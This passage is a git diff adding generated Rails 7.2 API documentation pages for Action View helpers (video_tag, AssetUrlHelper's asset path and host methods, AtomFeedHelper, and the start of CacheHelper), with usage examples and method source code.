    :poster_skip_pipeline will bypass the asset pipeline when using the :poster option instead using an asset in the public folder.

    +
+ +

Examples

+ +
video_tag("trailer")
+# => <video src="/videos/trailer"></video>
+video_tag("trailer.ogg")
+# => <video src="/videos/trailer.ogg"></video>
+video_tag("trailer.ogg", controls: true, preload: 'none')
+# => <video preload="none" controls="controls" src="/videos/trailer.ogg"></video>
+video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png")
+# => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png"></video>
+video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png", poster_skip_pipeline: true)
+# => <video src="/videos/trailer.m4v" width="16" height="10" poster="screenshot.png"></video>
+video_tag("/trailers/hd.avi", size: "16x16")
+# => <video src="/trailers/hd.avi" width="16" height="16"></video>
+video_tag("/trailers/hd.avi", size: "16")
+# => <video height="16" src="/trailers/hd.avi" width="16"></video>
+video_tag("/trailers/hd.avi", height: '32', width: '32')
+# => <video height="32" src="/trailers/hd.avi" width="32"></video>
+video_tag("trailer.ogg", "trailer.flv")
+# => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+video_tag(["trailer.ogg", "trailer.flv"])
+# => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+video_tag(["trailer.ogg", "trailer.flv"], size: "160x120")
+# => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+
+ +

Active Storage blobs (videos that are uploaded by the users of your app):

+ +
video_tag(user.intro_video)
+# => <video src="/rails/active_storage/blobs/.../intro_video.mp4"></video>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_tag_helper.rb, line 561
+      def video_tag(*sources)
+        options = sources.extract_options!.symbolize_keys
+        public_poster_folder = options.delete(:poster_skip_pipeline)
+        sources << options
+        multiple_sources_tag_builder("video", sources) do |tag_options|
+          tag_options[:poster] = path_to_image(tag_options[:poster], skip_pipeline: public_poster_folder) if tag_options[:poster]
+          tag_options[:width], tag_options[:height] = extract_dimensions(tag_options.delete(:size)) if tag_options[:size]
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/AssetUrlHelper.html b/src/7.2/classes/ActionView/Helpers/AssetUrlHelper.html new file mode 100644 index 0000000000..af1f59c2ed --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/AssetUrlHelper.html @@ -0,0 +1,1545 @@ +--- +title: ActionView::Helpers::AssetUrlHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Asset URL Helpers

+ +

This module provides methods for generating asset paths and URLs.

+ +
image_path("rails.png")
+# => "/assets/rails.png"
+
+image_url("rails.png")
+# => "http://www.example.com/assets/rails.png"
+
+ +

Using asset hosts

+ +

By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated asset server by setting ActionController::Base.asset_host in the application configuration, typically in config/environments/production.rb. For example, you’d define assets.example.com to be your asset host this way, inside the configure block of your environment-specific configuration files or config/application.rb:

+ +
config.action_controller.asset_host = "assets.example.com"
+
+ +

Helpers take that into account:

+ +
image_tag("rails.png")
+# => <img src="http://assets.example.com/assets/rails.png" />
+stylesheet_link_tag("application")
+# => <link href="http://assets.example.com/assets/application.css" rel="stylesheet" />
+
+ +

Browsers open a limited number of simultaneous connections to a single host. The exact number varies by browser and version. This limit may cause some asset downloads to wait for previous assets to finish before they can begin. You can use the %d wildcard in the asset_host to distribute the requests over four hosts. For example, assets%d.example.com will spread the asset requests over β€œassets0.example.com”, …, β€œassets3.example.com”.

+ +
image_tag("rails.png")
+# => <img src="http://assets0.example.com/assets/rails.png" />
+stylesheet_link_tag("application")
+# => <link href="http://assets2.example.com/assets/application.css" rel="stylesheet" />
+
+ +

This may improve the asset loading performance of your application. It is also possible the combination of additional connection overhead (DNS, SSL) and the overall browser connection limits may result in this solution being slower. You should be sure to measure your actual performance across targeted browsers both before and after this change.

+ +

To implement the corresponding hosts you can either set up four actual hosts or use wildcard DNS to CNAME the wildcard to a single asset host. You can read more about setting up your DNS CNAME records from your ISP.

+ +

Note: This is purely a browser performance optimization and is not meant for server load balancing. See www.die.net/musings/page_load_time/ for background and www.browserscope.org/?category=network for connection limit data.

+ +

Alternatively, you can exert more control over the asset host by setting asset_host to a proc like this:

+ +
ActionController::Base.asset_host = Proc.new { |source|
+  "http://assets#{OpenSSL::Digest::SHA256.hexdigest(source).to_i(16) % 2 + 1}.example.com"
+}
+image_tag("rails.png")
+# => <img src="http://assets1.example.com/assets/rails.png" />
+stylesheet_link_tag("application")
+# => <link href="http://assets2.example.com/assets/application.css" rel="stylesheet" />
+
+ +

The example above generates β€œassets1.example.com” and β€œassets2.example.com”. This option is useful for example if you need fewer/more than four hosts, custom host names, etc.

+ +

As you see the proc takes a source parameter. That’s a string with the absolute path of the asset, for example β€œ/assets/rails.png”.

+ +
 ActionController::Base.asset_host = Proc.new { |source|
+   if source.end_with?('.css')
+     "http://stylesheets.example.com"
+   else
+     "http://assets.example.com"
+   end
+ }
+image_tag("rails.png")
+# => <img src="http://assets.example.com/assets/rails.png" />
+stylesheet_link_tag("application")
+# => <link href="http://stylesheets.example.com/assets/application.css" rel="stylesheet" />
+
+ +

Alternatively you may ask for a second parameter request. That one is particularly useful for serving assets from an SSL-protected page. The example proc below disables asset hosting for HTTPS connections, while still sending assets for plain HTTP requests from asset hosts. If you don’t have SSL certificates for each of the asset hosts this technique allows you to avoid warnings in the client about mixed media. Note that the request parameter might not be supplied, e.g. when the assets are precompiled with the command bin/rails assets:precompile. Make sure to use a Proc instead of a lambda, since a Proc allows missing parameters and sets them to nil.

+ +
config.action_controller.asset_host = Proc.new { |source, request|
+  if request && request.ssl?
+    "#{request.protocol}#{request.host_with_port}"
+  else
+    "#{request.protocol}assets.example.com"
+  end
+}
+
+ +

You can also implement a custom asset host object that responds to call and takes either one or two parameters just like the proc.

+ +
config.action_controller.asset_host = AssetHostingWithMinimumSsl.new(
+  "http://asset%d.example.com", "https://asset1.example.com"
+)
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ASSET_EXTENSIONS={ +javascript: ".js", +stylesheet: ".css" +}
ASSET_PUBLIC_DIRECTORIES={ +audio: "/audios", +font: "/fonts", +image: "/images", +javascript: "/javascripts", +stylesheet: "/stylesheets", +video: "/videos" +}
 

Maps asset types to public directory.

URI_REGEXP=%r{^[-a-z]+://|^(?:cid|data):|^//}i
+ + + + + + + +

Instance Public methods

+ +
+

+ + asset_path(source, options = {}) + +

+ + +
+

This is the entry point for all assets. When using an asset pipeline gem (e.g. propshaft or sprockets-rails), the behavior is β€œenhanced”. You can bypass the asset pipeline by passing in skip_pipeline: true to the options.

+ +

All other asset *_path helpers delegate through this method.

+ +

With the asset pipeline

+ +

All options passed to asset_path will be passed to compute_asset_path which is implemented by asset pipeline gems.

+ +
asset_path("application.js") # => "/assets/application-60aa4fdc5cea14baf5400fba1abf4f2a46a5166bad4772b1effe341570f07de9.js"
+asset_path('application.js', host: 'example.com') # => "//example.com/assets/application.js"
+asset_path("application.js", host: 'example.com', protocol: 'https') # => "https://example.com/assets/application.js"
+
+ +

Without the asset pipeline (skip_pipeline: true)

+ +

Accepts a type option that can specify the asset’s extension. No error checking is done to verify the source passed into asset_path is valid and that the file exists on disk.

+ +
asset_path("application.js", skip_pipeline: true)                 # => "application.js"
+asset_path("filedoesnotexist.png", skip_pipeline: true)           # => "filedoesnotexist.png"
+asset_path("application", type: :javascript, skip_pipeline: true) # => "/javascripts/application.js"
+asset_path("application", type: :stylesheet, skip_pipeline: true) # => "/stylesheets/application.css"
+
+ +

Options applying to all assets

+ +

Below lists scenarios that apply to asset_path whether or not you’re using the asset pipeline.

+
  • +

    All fully qualified URLs are returned immediately. This bypasses the asset pipeline and all other behavior described.

    + +
    asset_path("http://www.example.com/js/xmlhr.js") # => "http://www.example.com/js/xmlhr.js"
    +
    +
  • +

    All assets that begin with a forward slash are assumed to be full URLs and will not be expanded. This will bypass the asset pipeline.

    + +
    asset_path("/foo.png") # => "/foo.png"
    +
    +
  • +

    All blank strings will be returned immediately. This bypasses the asset pipeline and all other behavior described.

    + +
    asset_path("") # => ""
    +
    +
  • +

    If config.relative_url_root is specified, all assets will have that root prepended.

    + +
    Rails.application.config.relative_url_root = "bar"
    +asset_path("foo.js", skip_pipeline: true) # => "bar/foo.js"
    +
    +
  • +

    A different asset host can be specified via config.action_controller.asset_host this is commonly used in conjunction with a CDN.

    + +
    Rails.application.config.action_controller.asset_host = "assets.example.com"
    +asset_path("foo.js", skip_pipeline: true) # => "http://assets.example.com/foo.js"
    +
    +
  • +

    An extension name can be specified manually with extname.

    + +
    asset_path("foo", skip_pipeline: true, extname: ".js")     # => "/foo.js"
    +asset_path("foo.css", skip_pipeline: true, extname: ".js") # => "/foo.css.js"
    +
    +
+
+ + + +
+ Also aliased as: path_to_asset +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 187
+      def asset_path(source, options = {})
+        raise ArgumentError, "nil is not a valid asset source" if source.nil?
+
+        source = source.to_s
+        return "" if source.blank?
+        return source if URI_REGEXP.match?(source)
+
+        tail, source = source[/([?#].+)$/], source.sub(/([?#].+)$/, "")
+
+        if extname = compute_asset_extname(source, options)
+          source = "#{source}#{extname}"
+        end
+
+        unless source.start_with?(?/)
+          if options[:skip_pipeline]
+            source = public_compute_asset_path(source, options)
+          else
+            source = compute_asset_path(source, options)
+          end
+        end
+
+        relative_url_root = defined?(config.relative_url_root) && config.relative_url_root
+        if relative_url_root
+          source = File.join(relative_url_root, source) unless source.start_with?("#{relative_url_root}/")
+        end
+
+        if host = compute_asset_host(source, options)
+          source = File.join(host, source)
+        end
+
+        "#{source}#{tail}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + asset_url(source, options = {}) + +

+ + +
+

Computes the full URL to an asset in the public directory. This will use asset_path internally, so most of their behaviors will be the same. If :host options is set, it overwrites global config.action_controller.asset_host setting.

+ +

All other options provided are forwarded to asset_path call.

+ +
asset_url "application.js"                                 # => http://example.com/assets/application.js
+asset_url "application.js", host: "http://cdn.example.com" # => http://cdn.example.com/assets/application.js
+
+
+ + + +
+ Also aliased as: url_to_asset +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 231
+      def asset_url(source, options = {})
+        path_to_asset(source, options.merge(protocol: :request))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + audio_path(source, options = {}) + +

+ + +
+

Computes the path to an audio asset in the public audios directory. Full paths from the document root will be passed through. Used internally by audio_tag to build the audio path.

+ +
audio_path("horse")                                            # => /audios/horse
+audio_path("horse.wav")                                        # => /audios/horse.wav
+audio_path("sounds/horse.wav")                                 # => /audios/sounds/horse.wav
+audio_path("/sounds/horse.wav")                                # => /sounds/horse.wav
+audio_path("http://www.example.com/sounds/horse.wav")          # => http://www.example.com/sounds/horse.wav
+
+
+ + + +
+ Also aliased as: path_to_audio +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 430
+      def audio_path(source, options = {})
+        path_to_asset(source, { type: :audio }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + audio_url(source, options = {}) + +

+ + +
+

Computes the full URL to an audio asset in the public audios directory. This will use audio_path internally, so most of their behaviors will be the same. Since audio_url is based on asset_url method you can set :host options. If :host options is set, it overwrites global config.action_controller.asset_host setting.

+ +
audio_url "horse.wav", host: "http://stage.example.com" # => http://stage.example.com/audios/horse.wav
+
+
+ + + +
+ Also aliased as: url_to_audio +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 442
+      def audio_url(source, options = {})
+        url_to_asset(source, { type: :audio }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compute_asset_extname(source, options = {}) + +

+ + +
+

Compute extname to append to asset path. Returns nil if nothing should be added.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 243
+      def compute_asset_extname(source, options = {})
+        return if options[:extname] == false
+        extname = options[:extname] || ASSET_EXTENSIONS[options[:type]]
+        if extname && File.extname(source) != extname
+          extname
+        else
+          nil
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compute_asset_host(source = "", options = {}) + +

+ + +
+

Pick an asset host for this source. Returns nil if no host is set, the host if no wildcard is set, the host interpolated with the numbers 0-3 if it contains %d (the number is the source hash mod 4), or the value returned from invoking call on an object responding to call (proc or otherwise).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 277
+      def compute_asset_host(source = "", options = {})
+        request = self.request if respond_to?(:request)
+        host = options[:host]
+        host ||= config.asset_host if defined? config.asset_host
+
+        if host
+          if host.respond_to?(:call)
+            arity = host.respond_to?(:arity) ? host.arity : host.method(:call).arity
+            args = [source]
+            args << request if request && (arity > 1 || arity < 0)
+            host = host.call(*args)
+          elsif host.include?("%d")
+            host = host % (Zlib.crc32(source) % 4)
+          end
+        end
+
+        host ||= request.base_url if request && options[:protocol] == :request
+        return unless host
+
+        if URI_REGEXP.match?(host)
+          host
+        else
+          protocol = options[:protocol] || config.default_asset_host_protocol || (request ? :request : :relative)
+          case protocol
+          when :relative
+            "//#{host}"
+          when :request
+            "#{request.protocol}#{host}"
+          else
+            "#{protocol}://#{host}"
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compute_asset_path(source, options = {}) + +

+ + +
+

Computes asset path to public directory. Plugins and extensions can override this method to point to custom assets or generate digested paths or query strings.

+
+ + + +
+ Also aliased as: public_compute_asset_path +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 266
+      def compute_asset_path(source, options = {})
+        dir = ASSET_PUBLIC_DIRECTORIES[options[:type]] || ""
+        File.join(dir, source)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + font_path(source, options = {}) + +

+ + +
+

Computes the path to a font asset. Full paths from the document root will be passed through.

+ +
font_path("font")                                           # => /fonts/font
+font_path("font.ttf")                                       # => /fonts/font.ttf
+font_path("dir/font.ttf")                                   # => /fonts/dir/font.ttf
+font_path("/dir/font.ttf")                                  # => /dir/font.ttf
+font_path("http://www.example.com/dir/font.ttf")            # => http://www.example.com/dir/font.ttf
+
+
+ + + +
+ Also aliased as: path_to_font +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 455
+      def font_path(source, options = {})
+        path_to_asset(source, { type: :font }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + font_url(source, options = {}) + +

+ + +
+

Computes the full URL to a font asset. This will use font_path internally, so most of their behaviors will be the same. Since font_url is based on asset_url method you can set :host options. If :host options is set, it overwrites global config.action_controller.asset_host setting.

+ +
font_url "font.ttf", host: "http://stage.example.com" # => http://stage.example.com/fonts/font.ttf
+
+
+ + + +
+ Also aliased as: url_to_font +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 467
+      def font_url(source, options = {})
+        url_to_asset(source, { type: :font }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + image_path(source, options = {}) + +

+ + +
+

Computes the path to an image asset. Full paths from the document root will be passed through. Used internally by image_tag to build the image path:

+ +
image_path("edit")                                         # => "/assets/edit"
+image_path("edit.png")                                     # => "/assets/edit.png"
+image_path("icons/edit.png")                               # => "/assets/icons/edit.png"
+image_path("/icons/edit.png")                              # => "/icons/edit.png"
+image_path("http://www.example.com/img/edit.png")          # => "http://www.example.com/img/edit.png"
+
+ +

If you have images as application resources this method may conflict with their named routes. The alias path_to_image is provided to avoid that. Rails uses the alias internally, and plugin authors are encouraged to do so.

+
+ + + +
+ Also aliased as: path_to_image +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 378
+      def image_path(source, options = {})
+        path_to_asset(source, { type: :image }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + image_url(source, options = {}) + +

+ + +
+

Computes the full URL to an image asset. This will use image_path internally, so most of their behaviors will be the same. Since image_url is based on asset_url method you can set :host options. If :host options is set, it overwrites global config.action_controller.asset_host setting.

+ +
image_url "edit.png", host: "http://stage.example.com" # => http://stage.example.com/assets/edit.png
+
+
+ + + +
+ Also aliased as: url_to_image +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 390
+      def image_url(source, options = {})
+        url_to_asset(source, { type: :image }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + javascript_path(source, options = {}) + +

+ + +
+

Computes the path to a JavaScript asset in the public javascripts directory. If the source filename has no extension, .js will be appended (except for explicit URIs) Full paths from the document root will be passed through. Used internally by javascript_include_tag to build the script path.

+ +
javascript_path "xmlhr"                              # => /assets/xmlhr.js
+javascript_path "dir/xmlhr.js"                       # => /assets/dir/xmlhr.js
+javascript_path "/dir/xmlhr"                         # => /dir/xmlhr.js
+javascript_path "http://www.example.com/js/xmlhr"    # => http://www.example.com/js/xmlhr
+javascript_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
+
+
+ + + +
+ Also aliased as: path_to_javascript +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 321
+      def javascript_path(source, options = {})
+        path_to_asset(source, { type: :javascript }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + javascript_url(source, options = {}) + +

+ + +
+

Computes the full URL to a JavaScript asset in the public javascripts directory. This will use javascript_path internally, so most of their behaviors will be the same. Since javascript_url is based on asset_url method you can set :host options. If :host options is set, it overwrites global config.action_controller.asset_host setting.

+ +
javascript_url "js/xmlhr.js", host: "http://stage.example.com" # => http://stage.example.com/assets/js/xmlhr.js
+
+
+ + + +
+ Also aliased as: url_to_javascript +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 333
+      def javascript_url(source, options = {})
+        url_to_asset(source, { type: :javascript }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + path_to_asset(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: asset_path +
+ + + + +
+ +
+

+ + path_to_audio(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: audio_path +
+ + + + +
+ +
+

+ + path_to_font(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: font_path +
+ + + + +
+ +
+

+ + path_to_image(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: image_path +
+ + + + +
+ +
+

+ + path_to_javascript(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: javascript_path +
+ + + + +
+ +
+

+ + path_to_stylesheet(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: stylesheet_path +
+ + + + +
+ +
+

+ + path_to_video(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: video_path +
+ + + + +
+ +
+

+ + public_compute_asset_path(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: compute_asset_path +
+ + + + +
+ +
+

+ + stylesheet_path(source, options = {}) + +

+ + +
+

Computes the path to a stylesheet asset in the public stylesheets directory. If the source filename has no extension, .css will be appended (except for explicit URIs). Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.

+ +
stylesheet_path "style"                                  # => /assets/style.css
+stylesheet_path "dir/style.css"                          # => /assets/dir/style.css
+stylesheet_path "/dir/style.css"                         # => /dir/style.css
+stylesheet_path "http://www.example.com/css/style"       # => http://www.example.com/css/style
+stylesheet_path "http://www.example.com/css/style.css"   # => http://www.example.com/css/style.css
+
+
+ + + +
+ Also aliased as: path_to_stylesheet +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 348
+      def stylesheet_path(source, options = {})
+        path_to_asset(source, { type: :stylesheet }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stylesheet_url(source, options = {}) + +

+ + +
+

Computes the full URL to a stylesheet asset in the public stylesheets directory. This will use stylesheet_path internally, so most of their behaviors will be the same. Since stylesheet_url is based on asset_url method you can set :host options. If :host options is set, it overwrites global config.action_controller.asset_host setting.

+ +
stylesheet_url "css/style.css", host: "http://stage.example.com" # => http://stage.example.com/assets/css/style.css
+
+
+ + + +
+ Also aliased as: url_to_stylesheet +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 360
+      def stylesheet_url(source, options = {})
+        url_to_asset(source, { type: :stylesheet }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_to_asset(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: asset_url +
+ + + + +
+ +
+

+ + url_to_audio(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: audio_url +
+ + + + +
+ +
+

+ + url_to_font(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: font_url +
+ + + + +
+ +
+

+ + url_to_image(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: image_url +
+ + + + +
+ +
+

+ + url_to_javascript(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: javascript_url +
+ + + + +
+ +
+

+ + url_to_stylesheet(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: stylesheet_url +
+ + + + +
+ +
+

+ + url_to_video(source, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: video_url +
+ + + + +
+ +
+

+ + video_path(source, options = {}) + +

+ + +
+

Computes the path to a video asset in the public videos directory. Full paths from the document root will be passed through. Used internally by video_tag to build the video path.

+ +
video_path("hd")                                            # => /videos/hd
+video_path("hd.avi")                                        # => /videos/hd.avi
+video_path("trailers/hd.avi")                               # => /videos/trailers/hd.avi
+video_path("/trailers/hd.avi")                              # => /trailers/hd.avi
+video_path("http://www.example.com/vid/hd.avi")             # => http://www.example.com/vid/hd.avi
+
+
+ + + +
+ Also aliased as: path_to_video +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 404
+      def video_path(source, options = {})
+        path_to_asset(source, { type: :video }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + video_url(source, options = {}) + +

+ + +
+

Computes the full URL to a video asset in the public videos directory. This will use video_path internally, so most of their behaviors will be the same. Since video_url is based on asset_url method you can set :host options. If :host options is set, it overwrites global config.action_controller.asset_host setting.

+ +
video_url "hd.avi", host: "http://stage.example.com" # => http://stage.example.com/videos/hd.avi
+
+
+ + + +
+ Also aliased as: url_to_video +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_url_helper.rb, line 416
+      def video_url(source, options = {})
+        url_to_asset(source, { type: :video }.merge!(options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/AtomFeedHelper.html b/src/7.2/classes/ActionView/Helpers/AtomFeedHelper.html new file mode 100644 index 0000000000..37570df32b --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/AtomFeedHelper.html @@ -0,0 +1,223 @@ +--- +title: ActionView::Helpers::AtomFeedHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Atom Feed Helpers

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + atom_feed(options = {}, &block) + +

+ + +
+

Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other template languages).

+ +

Full usage example:

+ +
config/routes.rb:
+  Rails.application.routes.draw do
+    resources :posts
+    root to: "posts#index"
+  end
+
+app/controllers/posts_controller.rb:
+  class PostsController < ApplicationController
+    # GET /posts.html
+    # GET /posts.atom
+    def index
+      @posts = Post.all
+
+      respond_to do |format|
+        format.html
+        format.atom
+      end
+    end
+  end
+
+app/views/posts/index.atom.builder:
+  atom_feed do |feed|
+    feed.title("My great blog!")
+    feed.updated(@posts[0].created_at) if @posts.length > 0
+
+    @posts.each do |post|
+      feed.entry(post) do |entry|
+        entry.title(post.title)
+        entry.content(post.body, type: 'html')
+
+        entry.author do |author|
+          author.name("DHH")
+        end
+      end
+    end
+  end
+
+ +

The options for atom_feed are:

+
  • +

    :language: Defaults to β€œen-US”.

    +
  • +

    :root_url: The HTML alternative that this feed is doubling for. Defaults to / on the current host.

    +
  • +

    :url: The URL for this feed. Defaults to the current URL.

    +
  • +

    :id: The id for this feed. Defaults to β€œtag:localhost,2005:/posts”, in this case.

    +
  • +

    :schema_date: The date at which the tag scheme for the feed was first used. A good default is the year you created the feed. See feedvalidator.org/docs/error/InvalidTAG.html for more information. If not specified, 2005 is used (as an β€œI don’t care” value).

    +
  • +

    :instruct: Hash of XML processing instructions in the form {target => {attribute => value, }} or {target => [{attribute => value, }, ]}

    +
+ +

Other namespaces can be added to the root element:

+ +
app/views/posts/index.atom.builder:
+  atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
+      'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
+    feed.title("My great blog!")
+    feed.updated((@posts.first.created_at))
+    feed.tag!('openSearch:totalResults', 10)
+
+    @posts.each do |post|
+      feed.entry(post) do |entry|
+        entry.title(post.title)
+        entry.content(post.body, type: 'html')
+        entry.tag!('app:edited', Time.now)
+
+        entry.author do |author|
+          author.name("DHH")
+        end
+      end
+    end
+  end
+
+ +

The Atom spec defines five elements (content rights title subtitle summary) which may directly contain XHTML content if type: β€˜xhtml’ is specified as an attribute. If so, this helper will take care of the enclosing div and XHTML namespace declaration. Example usage:

+ +
entry.summary type: 'xhtml' do |xhtml|
+  xhtml.p pluralize(order.line_items.count, "line item")
+  xhtml.p "Shipped to #{order.address}"
+  xhtml.p "Paid by #{order.pay_type}"
+end
+
+ +

atom_feed yields an AtomFeedBuilder instance. Nested elements yield an AtomBuilder instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/atom_feed_helper.rb, line 98
+      def atom_feed(options = {}, &block)
+        if options[:schema_date]
+          options[:schema_date] = options[:schema_date].strftime("%Y-%m-%d") if options[:schema_date].respond_to?(:strftime)
+        else
+          options[:schema_date] = "2005" # The Atom spec copyright date
+        end
+
+        xml = options.delete(:xml) || block.binding.local_variable_get(:xml)
+        xml.instruct!
+        if options[:instruct]
+          options[:instruct].each do |target, attrs|
+            if attrs.respond_to?(:keys)
+              xml.instruct!(target, attrs)
+            elsif attrs.respond_to?(:each)
+              attrs.each { |attr_group| xml.instruct!(target, attr_group) }
+            end
+          end
+        end
+
+        feed_opts = { "xml:lang" => options[:language] || "en-US", "xmlns" => "http://www.w3.org/2005/Atom" }
+        feed_opts.merge!(options).select! { |k, _| k.start_with?("xml") }
+
+        xml.feed(feed_opts) do
+          xml.id(options[:id] || "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}")
+          xml.link(rel: "alternate", type: "text/html", href: options[:root_url] || (request.protocol + request.host_with_port))
+          xml.link(rel: "self", type: "application/atom+xml", href: options[:url] || request.url)
+
+          yield AtomFeedBuilder.new(xml, self, options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/CacheHelper.html b/src/7.2/classes/ActionView/Helpers/CacheHelper.html new file mode 100644 index 0000000000..06d390f09a --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/CacheHelper.html @@ -0,0 +1,501 @@ +--- +title: ActionView::Helpers::CacheHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Cache Helpers

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + cache(name = {}, options = {}, &block) + +

+ + +
+

This helper exposes a method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of new topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache.

+ +

The best way to use this is by doing recyclable key-based cache expiration on top of a cache store like Memcached or Redis that’ll automatically kick out old entries.

+ +

When using this method, you list the cache dependency as the name of the cache, like so:

+ +
<% cache project do %>
+  <b>All the topics on this project</b>
+  <%= render project.topics %>
+<% end %>
+
+ +

This approach will assume that when a new topic is added, you’ll touch the project. The cache key generated from this call will be something like:

+ +
views/template/action:7a1156131a6928cb0026877f8b749ac9/projects/123
+      ^template path  ^template tree digest            ^class   ^id
+
+ +

This cache key is stable, but it’s combined with a cache version derived from the project record. When the project updated_at is touched, the cache_version changes, even if the key stays stable. This means that unlike a traditional key-based cache expiration approach, you won’t be generating cache trash, unused keys, simply because the dependent record is updated.

+ +

If your template cache depends on multiple sources (try to avoid this to keep things simple), you can name all these dependencies as part of an array:

+ +
<% cache [ project, current_user ] do %>
+  <b>All the topics on this project</b>
+  <%= render project.topics %>
+<% end %>
+
+ +

This will include both records as part of the cache key and updating either of them will expire the cache.

+ +

Template digest

